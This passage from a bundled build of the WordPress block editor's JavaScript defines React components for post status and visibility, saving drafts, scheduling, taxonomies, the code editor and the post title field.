const DESIGN_POST_TYPES = [TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE, PATTERN_POST_TYPE, NAVIGATION_POST_TYPE];
function PostStatus() {
  const {
    status,
    date,
    password,
    postId,
    postType,
    canEdit
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentPost$_link;
    const {
      getEditedPostAttribute,
      getCurrentPostId,
      getCurrentPostType,
      getCurrentPost
    } = select(store_store);
    return {
      status: getEditedPostAttribute('status'),
      date: getEditedPostAttribute('date'),
      password: getEditedPostAttribute('password'),
      postId: getCurrentPostId(),
      postType: getCurrentPostType(),
      canEdit: (_getCurrentPost$_link = getCurrentPost()._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false
    };
  }, []);
  const [showPassword, setShowPassword] = (0,external_wp_element_namespaceObject.useState)(!!password);
  const passwordInputId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostStatus, 'editor-change-status__password-input');
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    'aria-label': (0,external_wp_i18n_namespaceObject.__)('Status & visibility'),
    headerTitle: (0,external_wp_i18n_namespaceObject.__)('Status & visibility'),
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  if (DESIGN_POST_TYPES.includes(postType)) {
    return null;
  }
  const updatePost = ({
    status: newStatus = status,
    password: newPassword = password,
    date: newDate = date
  }) => {
    editEntityRecord('postType', postType, postId, {
      status: newStatus,
      date: newDate,
      password: newPassword
    });
  };
  const handleTogglePassword = value => {
    setShowPassword(value);
    if (!value) {
      updatePost({
        password: ''
      });
    }
  };
  const handleStatus = value => {
    let newDate = date;
    let newPassword = password;
    if (status === 'future' && new Date(date) > new Date()) {
      newDate = null;
    }
    if (value === 'private' && password) {
      newPassword = '';
    }
    updatePost({
      status: value,
      date: newDate,
      password: newPassword
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Status'),
    ref: setPopoverAnchor,
    children: canEdit ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
      className: "editor-post-status",
      contentClassName: "editor-change-status__content",
      popoverProps: popoverProps,
      focusOnMount: true,
      renderToggle: ({
        onToggle,
        isOpen
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        className: "editor-post-status__toggle",
        variant: "tertiary",
        size: "compact",
        onClick: onToggle,
        icon: postStatusesInfo[status]?.icon,
        "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
        // translators: %s: Current post status.
        (0,external_wp_i18n_namespaceObject.__)('Change status: %s'), postStatusesInfo[status]?.label),
        "aria-expanded": isOpen,
        children: postStatusesInfo[status]?.label
      }),
      renderContent: ({
        onClose
      }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
          title: (0,external_wp_i18n_namespaceObject.__)('Status & visibility'),
          onClose: onClose
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
            spacing: 4,
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
              className: "editor-change-status__options",
              hideLabelFromVision: true,
              label: (0,external_wp_i18n_namespaceObject.__)('Status'),
              options: STATUS_OPTIONS,
              onChange: handleStatus,
              selected: status === 'auto-draft' ? 'draft' : status
            }), status === 'future' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
              className: "editor-change-status__publish-date-wrapper",
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostSchedule, {
                showPopoverHeaderActions: false,
                isCompact: true
              })
            }), status !== 'private' && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
              as: "fieldset",
              spacing: 4,
              className: "editor-change-status__password-fieldset",
              children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
                __nextHasNoMarginBottom: true,
                label: (0,external_wp_i18n_namespaceObject.__)('Password protected'),
                help: (0,external_wp_i18n_namespaceObject.__)('Only visible to those who know the password'),
                checked: showPassword,
                onChange: handleTogglePassword
              }), showPassword && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
                className: "editor-change-status__password-input",
                children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
                  label: (0,external_wp_i18n_namespaceObject.__)('Password'),
                  onChange: value => updatePost({
                    password: value
                  }),
                  value: password,
                  placeholder: (0,external_wp_i18n_namespaceObject.__)('Use a secure password'),
                  type: "text",
                  id: passwordInputId,
                  __next40pxDefaultSize: true,
                  __nextHasNoMarginBottom: true,
                  maxLength: 255
                })
              })]
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSticky, {})]
          })
        })]
      })
    }) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-post-status is-read-only",
      children: postStatusesInfo[status]?.label
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-saved-state/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */









/**
 * Internal dependencies
 */



/**
 * Component showing whether the post is saved or not and providing save
 * buttons.
 *
 * @param {Object}   props              Component props.
 * @param {?boolean} props.forceIsDirty Whether to force the post to be marked
 *                                      as dirty.
 * @return {import('react').ComponentType} The component.
 */

function PostSavedState({
  forceIsDirty
}) {
  const [forceSavedMessage, setForceSavedMessage] = (0,external_wp_element_namespaceObject.useState)(false);
  const isLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)('small');
  const {
    isAutosaving,
    isDirty,
    isNew,
    isPublished,
    isSaveable,
    isSaving,
    isScheduled,
    hasPublishAction,
    showIconLabels,
    postStatus,
    postStatusHasChanged
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getCurrentPost$_link;
    const {
      isEditedPostNew,
      isCurrentPostPublished,
      isCurrentPostScheduled,
      isEditedPostDirty,
      isSavingPost,
      isEditedPostSaveable,
      getCurrentPost,
      isAutosavingPost,
      getEditedPostAttribute,
      getPostEdits
    } = select(store_store);
    const {
      get
    } = select(external_wp_preferences_namespaceObject.store);
    return {
      isAutosaving: isAutosavingPost(),
      isDirty: forceIsDirty || isEditedPostDirty(),
      isNew: isEditedPostNew(),
      isPublished: isCurrentPostPublished(),
      isSaving: isSavingPost(),
      isSaveable: isEditedPostSaveable(),
      isScheduled: isCurrentPostScheduled(),
      hasPublishAction: (_getCurrentPost$_link = getCurrentPost()?._links?.['wp:action-publish']) !== null && _getCurrentPost$_link !== void 0 ? _getCurrentPost$_link : false,
      showIconLabels: get('core', 'showIconLabels'),
      postStatus: getEditedPostAttribute('status'),
      postStatusHasChanged: !!getPostEdits()?.status
    };
  }, [forceIsDirty]);
  const isPending = postStatus === 'pending';
  const {
    savePost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const wasSaving = (0,external_wp_compose_namespaceObject.usePrevious)(isSaving);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    let timeoutId;
    if (wasSaving && !isSaving) {
      setForceSavedMessage(true);
      timeoutId = setTimeout(() => {
        setForceSavedMessage(false);
      }, 1000);
    }
    return () => clearTimeout(timeoutId);
  }, [isSaving]);

  // Once the post has been submitted for review this button
  // is not needed for the contributor role.
  if (!hasPublishAction && isPending) {
    return null;
  }

  // We shouldn't render the button if the post has not one of the following statuses: pending, draft, auto-draft.
  // The reason for this is that this button handles the `save as pending` and `save draft` actions.
  // An exception for this is when the post has a custom status and there should be a way to save changes without
  // having to publish. This should be handled better in the future when custom statuses have better support.
  // @see https://github.com/WordPress/gutenberg/issues/3144.
  const isIneligibleStatus = !['pending', 'draft', 'auto-draft'].includes(postStatus) && STATUS_OPTIONS.map(({
    value
  }) => value).includes(postStatus);
  if (isPublished || isScheduled || isIneligibleStatus || postStatusHasChanged && ['pending', 'draft'].includes(postStatus)) {
    return null;
  }

  /* translators: button label text should, if possible, be under 16 characters. */
  const label = isPending ? (0,external_wp_i18n_namespaceObject.__)('Save as pending') : (0,external_wp_i18n_namespaceObject.__)('Save draft');

  /* translators: button label text should, if possible, be under 16 characters. */
  const shortLabel = (0,external_wp_i18n_namespaceObject.__)('Save');
  const isSaved = forceSavedMessage || !isNew && !isDirty;
  const isSavedState = isSaving || isSaved;
  const isDisabled = isSaving || isSaved || !isSaveable;
  let text;
  if (isSaving) {
    text = isAutosaving ? (0,external_wp_i18n_namespaceObject.__)('Autosaving') : (0,external_wp_i18n_namespaceObject.__)('Saving');
  } else if (isSaved) {
    text = (0,external_wp_i18n_namespaceObject.__)('Saved');
  } else if (isLargeViewport) {
    text = label;
  } else if (showIconLabels) {
    text = shortLabel;
  }

  // Use common Button instance for all saved states so that focus is not
  // lost.
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Button, {
    className: isSaveable || isSaving ? dist_clsx({
      'editor-post-save-draft': !isSavedState,
      'editor-post-saved-state': isSavedState,
      'is-saving': isSaving,
      'is-autosaving': isAutosaving,
      'is-saved': isSaved,
      [(0,external_wp_components_namespaceObject.__unstableGetAnimateClassName)({
        type: 'loading'
      })]: isSaving
    }) : undefined,
    onClick: isDisabled ? undefined : () => savePost()
    /*
     * We want the tooltip to show the keyboard shortcut only when the
     * button does something, i.e. when it's not disabled.
     */,
    shortcut: isDisabled ? undefined : external_wp_keycodes_namespaceObject.displayShortcut.primary('s'),
    variant: "tertiary",
    size: "compact",
    icon: isLargeViewport ? undefined : cloud_upload,
    label: text || label,
    "aria-disabled": isDisabled,
    children: [isSavedState && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(icon, {
      icon: isSaved ? library_check : library_cloud
    }), text]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/check.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Wrapper component that renders its children only if post has a publish action.
 *
 * @param {Object}          props          Props.
 * @param {React.ReactNode} props.children Children to be rendered.
 *
 * @return {React.ReactNode} - The component to be rendered or null if there is no publish action.
 */
function PostScheduleCheck({
  children
}) {
  const hasPublishAction = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getCurrentPos;
    return (_select$getCurrentPos = select(store_store).getCurrentPost()._links?.['wp:action-publish']) !== null && _select$getCurrentPos !== void 0 ? _select$getCurrentPos : false;
  }, []);
  if (!hasPublishAction) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */







const panel_DESIGN_POST_TYPES = [TEMPLATE_POST_TYPE, TEMPLATE_PART_POST_TYPE, PATTERN_POST_TYPE, NAVIGATION_POST_TYPE];

/**
 * Renders the Post Schedule Panel component.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PostSchedulePanel() {
  const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
  const postType = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getCurrentPostType(), []);
  // Memoize popoverProps to avoid returning a new object every time.
  const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(() => ({
    // Anchor the popover to the middle of the entire row so that it doesn't
    // move around when the label changes.
    anchor: popoverAnchor,
    'aria-label': (0,external_wp_i18n_namespaceObject.__)('Change publish date'),
    placement: 'left-start',
    offset: 36,
    shift: true
  }), [popoverAnchor]);
  const label = usePostScheduleLabel();
  const fullLabel = usePostScheduleLabel({
    full: true
  });
  if (panel_DESIGN_POST_TYPES.includes(postType)) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
      label: (0,external_wp_i18n_namespaceObject.__)('Publish'),
      ref: setPopoverAnchor,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Dropdown, {
        popoverProps: popoverProps,
        focusOnMount: true,
        className: "editor-post-schedule__panel-dropdown",
        contentClassName: "editor-post-schedule__dialog",
        renderToggle: ({
          onToggle,
          isOpen
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: "compact",
          className: "editor-post-schedule__dialog-toggle",
          variant: "tertiary",
          tooltipPosition: "middle left",
          onClick: onToggle,
          "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
          // translators: %s: Current post date.
          (0,external_wp_i18n_namespaceObject.__)('Change date: %s'), label),
          label: fullLabel,
          showTooltip: label !== fullLabel,
          "aria-expanded": isOpen,
          children: label
        }),
        renderContent: ({
          onClose
        }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedule, {
          onClose: onClose
        })
      })
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-switch-to-draft-button/index.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


/**
 * Renders a button component that allows the user to switch a post to draft status.
 *
 * @return {React.ReactNode} The rendered component.
 */

function PostSwitchToDraftButton() {
  external_wp_deprecated_default()('wp.editor.PostSwitchToDraftButton', {
    since: '6.7',
    version: '6.9'
  });
  const [showConfirmDialog, setShowConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    editPost,
    savePost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    isSaving,
    isPublished,
    isScheduled
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isSavingPost,
      isCurrentPostPublished,
      isCurrentPostScheduled
    } = select(store_store);
    return {
      isSaving: isSavingPost(),
      isPublished: isCurrentPostPublished(),
      isScheduled: isCurrentPostScheduled()
    };
  }, []);
  const isDisabled = isSaving || !isPublished && !isScheduled;
  let alertMessage;
  let confirmButtonText;
  if (isPublished) {
    alertMessage = (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to unpublish this post?');
    confirmButtonText = (0,external_wp_i18n_namespaceObject.__)('Unpublish');
  } else if (isScheduled) {
    alertMessage = (0,external_wp_i18n_namespaceObject.__)('Are you sure you want to unschedule this post?');
    confirmButtonText = (0,external_wp_i18n_namespaceObject.__)('Unschedule');
  }
  const handleConfirm = () => {
    setShowConfirmDialog(false);
    editPost({
      status: 'draft'
    });
    savePost();
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      __next40pxDefaultSize: true,
      className: "editor-post-switch-to-draft",
      onClick: () => {
        if (!isDisabled) {
          setShowConfirmDialog(true);
        }
      },
      "aria-disabled": isDisabled,
      variant: "secondary",
      style: {
        flexGrow: '1',
        justifyContent: 'center'
      },
      children: (0,external_wp_i18n_namespaceObject.__)('Switch to draft')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showConfirmDialog,
      onConfirm: handleConfirm,
      onCancel: () => setShowConfirmDialog(false),
      confirmButtonText: confirmButtonText,
      children: alertMessage
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-sync-status/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */



/**
 * Renders the sync status of a post.
 *
 * @return {React.ReactNode} The rendered sync status component.
 */

function PostSyncStatus() {
  const {
    syncStatus,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    const meta = getEditedPostAttribute('meta');

    // When the post is first created, the top level wp_pattern_sync_status is not set so get meta value instead.
    const currentSyncStatus = meta?.wp_pattern_sync_status === 'unsynced' ? 'unsynced' : getEditedPostAttribute('wp_pattern_sync_status');
    return {
      syncStatus: currentSyncStatus,
      postType: getEditedPostAttribute('type')
    };
  });
  if (postType !== 'wp_block') {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_panel_row, {
    label: (0,external_wp_i18n_namespaceObject.__)('Sync status'),
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-post-sync-status__value",
      children: syncStatus === 'unsynced' ? (0,external_wp_i18n_namespaceObject._x)('Not synced', 'pattern (singular)') : (0,external_wp_i18n_namespaceObject._x)('Synced', 'pattern (singular)')
    })
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/index.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */




const post_taxonomies_identity = x => x;
function PostTaxonomies({
  taxonomyWrapper = post_taxonomies_identity
}) {
  const {
    postType,
    taxonomies
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    return {
      postType: select(store_store).getCurrentPostType(),
      taxonomies: select(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'taxonomy', {
        per_page: -1
      })
    };
  }, []);
  const visibleTaxonomies = (taxonomies !== null && taxonomies !== void 0 ? taxonomies : []).filter(taxonomy =>
  // In some circumstances .visibility can end up as undefined so optional chaining operator required.
  // https://github.com/WordPress/gutenberg/issues/40326
  taxonomy.types.includes(postType) && taxonomy.visibility?.show_ui);
  return visibleTaxonomies.map(taxonomy => {
    const TaxonomyComponent = taxonomy.hierarchical ? hierarchical_term_selector : flat_term_selector;
    const taxonomyComponentProps = {
      slug: taxonomy.slug,
      ...(taxonomy.hierarchical ? {} : {
        __nextHasNoMarginBottom: true
      })
    };
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, {
      children: taxonomyWrapper(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TaxonomyComponent, {
        ...taxonomyComponentProps
      }), taxonomy)
    }, `taxonomy-${taxonomy.slug}`);
  });
}

/**
 * Renders the taxonomies associated with a post.
 *
 * @param {Object}   props                 The component props.
 * @param {Function} props.taxonomyWrapper The wrapper function for each taxonomy component.
 *
 * @return {Array} An array of JSX elements representing the visible taxonomies.
 */
/* harmony default export */ const post_taxonomies = (PostTaxonomies);

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/check.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Renders the children components only if the current post type has taxonomies.
 *
 * @param {Object}          props          The component props.
 * @param {React.ReactNode} props.children The children components to render.
 *
 * @return {React.ReactNode} The rendered children components or null if the current post type has no taxonomies.
 */
function PostTaxonomiesCheck({
  children
}) {
  const hasTaxonomies = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const postType = select(store_store).getCurrentPostType();
    const taxonomies = select(external_wp_coreData_namespaceObject.store).getEntityRecords('root', 'taxonomy', {
      per_page: -1
    });
    return taxonomies?.some(taxonomy => taxonomy.types.includes(postType));
  }, []);
  if (!hasTaxonomies) {
    return null;
  }
  return children;
}

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/panel.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */




/**
 * Renders a panel for a specific taxonomy.
 *
 * @param {Object}          props          The component props.
 * @param {Object}          props.taxonomy The taxonomy object.
 * @param {React.ReactNode} props.children The child components.
 *
 * @return {React.ReactNode} The rendered taxonomy panel.
 */

function TaxonomyPanel({
  taxonomy,
  children
}) {
  const slug = taxonomy?.slug;
  const panelName = slug ? `taxonomy-panel-${slug}` : '';
  const {
    isEnabled,
    isOpened
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isEditorPanelEnabled,
      isEditorPanelOpened
    } = select(store_store);
    return {
      isEnabled: slug ? isEditorPanelEnabled(panelName) : false,
      isOpened: slug ? isEditorPanelOpened(panelName) : false
    };
  }, [panelName, slug]);
  const {
    toggleEditorPanelOpened
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  if (!isEnabled) {
    return null;
  }
  const taxonomyMenuName = taxonomy?.labels?.menu_name;
  if (!taxonomyMenuName) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.PanelBody, {
    title: taxonomyMenuName,
    opened: isOpened,
    onToggle: () => toggleEditorPanelOpened(panelName),
    children: children
  });
}

/**
 * Component that renders the post taxonomies panel.
 *
 * @return {React.ReactNode} The rendered component.
 */
function panel_PostTaxonomies() {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostTaxonomiesCheck, {
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(post_taxonomies, {
      taxonomyWrapper: (content, taxonomy) => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TaxonomyPanel, {
          taxonomy: taxonomy,
          children: content
        });
      }
    })
  });
}

// EXTERNAL MODULE: ./node_modules/react-autosize-textarea/lib/index.js
var lib = __webpack_require__(4132);
;// ./node_modules/@wordpress/editor/build-module/components/post-text-editor/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */


/**
 * Displays the Post Text Editor along with content in Visual and Text mode.
 *
 * @return {React.ReactNode} The rendered PostTextEditor component.
 */

function PostTextEditor() {
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostTextEditor);
  const {
    content,
    blocks,
    type,
    id
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getCurrentPostType,
      getCurrentPostId
    } = select(store_store);
    const _type = getCurrentPostType();
    const _id = getCurrentPostId();
    const editedRecord = getEditedEntityRecord('postType', _type, _id);
    return {
      content: editedRecord?.content,
      blocks: editedRecord?.blocks,
      type: _type,
      id: _id
    };
  }, []);
  const {
    editEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  // Replicates the logic found in getEditedPostContent().
  const value = (0,external_wp_element_namespaceObject.useMemo)(() => {
    if (content instanceof Function) {
      return content({
        blocks
      });
    } else if (blocks) {
      // If we have parsed blocks already, they should be our source of truth.
      // Parsing applies block deprecations and legacy block conversions that
      // unparsed content will not have.
      return (0,external_wp_blocks_namespaceObject.__unstableSerializeAndClean)(blocks);
    }
    return content;
  }, [content, blocks]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
      as: "label",
      htmlFor: `post-content-${instanceId}`,
      children: (0,external_wp_i18n_namespaceObject.__)('Type text or HTML')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(lib/* default */.A, {
      autoComplete: "off",
      dir: "auto",
      value: value,
      onChange: event => {
        editEntityRecord('postType', type, id, {
          content: event.target.value,
          blocks: undefined,
          selection: undefined
        });
      },
      className: "editor-post-text-editor",
      id: `post-content-${instanceId}`,
      placeholder: (0,external_wp_i18n_namespaceObject.__)('Start writing with text or HTML')
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-title/constants.js
const DEFAULT_CLASSNAMES = 'wp-block wp-block-post-title block-editor-block-list__block editor-post-title editor-post-title__input rich-text';
const REGEXP_NEWLINES = /[\r\n]+/g;

;// ./node_modules/@wordpress/editor/build-module/components/post-title/use-post-title-focus.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */


/**
 * Custom hook that manages the focus behavior of the post title input field.
 *
 * @param {Element} forwardedRef - The forwarded ref for the input field.
 *
 * @return {Object} - The ref object.
 */
function usePostTitleFocus(forwardedRef) {
  const ref = (0,external_wp_element_namespaceObject.useRef)();
  const {
    isCleanNewPost
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      isCleanNewPost: _isCleanNewPost
    } = select(store_store);
    return {
      isCleanNewPost: _isCleanNewPost()
    };
  }, []);
  (0,external_wp_element_namespaceObject.useImperativeHandle)(forwardedRef, () => ({
    focus: () => {
      ref?.current?.focus();
    }
  }));
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (!ref.current) {
      return;
    }
    const {
      defaultView
    } = ref.current.ownerDocument;
    const {
      name,
      parent
    } = defaultView;
    const ownerDocument = name === 'editor-canvas' ? parent.document : defaultView.document;
    const {
      activeElement,
      body
    } = ownerDocument;

    // Only autofocus the title when the post is entirely empty. This should
    // only happen for a new post, which means we focus the title on new
    // post so the author can start typing right away, without needing to
    // click anything.
    if (isCleanNewPost && (!activeElement || body === activeElement)) {
      ref.current.focus();
    }
  }, [isCleanNewPost]);
  return {
    ref
  };
}

;// ./node_modules/@wordpress/editor/build-module/components/post-title/use-post-title.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


/**
 * Custom hook for managing the post title in the editor.
 *
 * @return {Object} An object containing the current title and a function to update the title.
 */
function usePostTitle() {
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    title
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEditedPostAttribute
    } = select(store_store);
    return {
      title: getEditedPostAttribute('title')
    };
  }, []);
  function updateTitle(newTitle) {
    editPost({
      title: newTitle
    });
  }
  return {
    title,
    setTitle: updateTitle
  };
}

;// ./node_modules/@wordpress/editor/build-module/components/post-title/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */











/**
 * Internal dependencies
 */





const PostTitle = (0,external_wp_element_namespaceObject.forwardRef)((_, forwardedRef) => {
  const {
    placeholder
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getSettings
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      titlePlaceholder
    } = getSettings();
    return {
      placeholder: titlePlaceholder
    };
  }, []);
  const [isSelected, setIsSelected] = (0,external_wp_element_namespaceObject.useState)(false);
  const {
    ref: focusRef
  } = usePostTitleFocus(forwardedRef);
  const {
    title,
    setTitle: onUpdate
  } = usePostTitle();
  const [selection, setSelection] = (0,external_wp_element_namespaceObject.useState)({});
  const {
    clearSelectedBlock,
    insertBlocks,
    insertDefaultBlock
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
  const decodedPlaceholder = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(placeholder) || (0,external_wp_i18n_namespaceObject.__)('Add title');
  const {
    value,
    onChange,
    ref: richTextRef
  } = (0,external_wp_richText_namespaceObject.__unstableUseRichText)({
    value: title,
    onChange(newValue) {
      onUpdate(newValue.replace(REGEXP_NEWLINES, ' '));
    },
    placeholder: decodedPlaceholder,
    selectionStart: selection.start,
    selectionEnd: selection.end,
    onSelectionChange(newStart, newEnd) {
      setSelection(sel => {
        const {
          start,
          end
        } = sel;
        if (start === newStart && end === newEnd) {
          return sel;
        }
        return {
          start: newStart,
          end: newEnd
        };
      });
    },
    __unstableDisableFormats: false
  });
  function onInsertBlockAfter(blocks) {
    insertBlocks(blocks, 0);
  }
  function onSelect() {
    setIsSelected(true);
    clearSelectedBlock();
  }
  function onUnselect() {
    setIsSelected(false);
    setSelection({});
  }
  function onEnterPress() {
    insertDefaultBlock(undefined, undefined, 0);
  }
  function onKeyDown(event) {
    if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
      event.preventDefault();
      onEnterPress();
    }
  }
  function onPaste(event) {
    const clipboardData = event.clipboardData;
    let plainText = '';
    let html = '';
    try {
      plainText = clipboardData.getData('text/plain');
      html = clipboardData.getData('text/html');
    } catch (error) {
      // Some browsers like UC Browser paste plain text by default and
      // don't support clipboardData at all, so allow default
      // behaviour.
      return;
    }

    // Allows us to ask for this information when we get a report.
    window.console.log('Received HTML:\n\n', html);
    window.console.log('Received plain text:\n\n', plainText);
    const content = (0,external_wp_blocks_namespaceObject.pasteHandler)({
      HTML: html,
      plainText
    });
    event.preventDefault();
    if (!content.length) {
      return;
    }
    if (typeof content !== 'string') {
      const [firstBlock] = content;
      if (!title && (firstBlock.name === 'core/heading' || firstBlock.name === 'core/paragraph')) {
        // Strip HTML to avoid unwanted HTML being added to the title.
        // In the majority of cases it is assumed that HTML in the title
        // is undesirable.
        const contentNoHTML = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(firstBlock.attributes.content);
        onUpdate(contentNoHTML);
        onInsertBlockAfter(content.slice(1));
      } else {
        onInsertBlockAfter(content);
      }
    } else {
      // Strip HTML to avoid unwanted HTML being added to the title.
      // In the majority of cases it is assumed that HTML in the title
      // is undesirable.
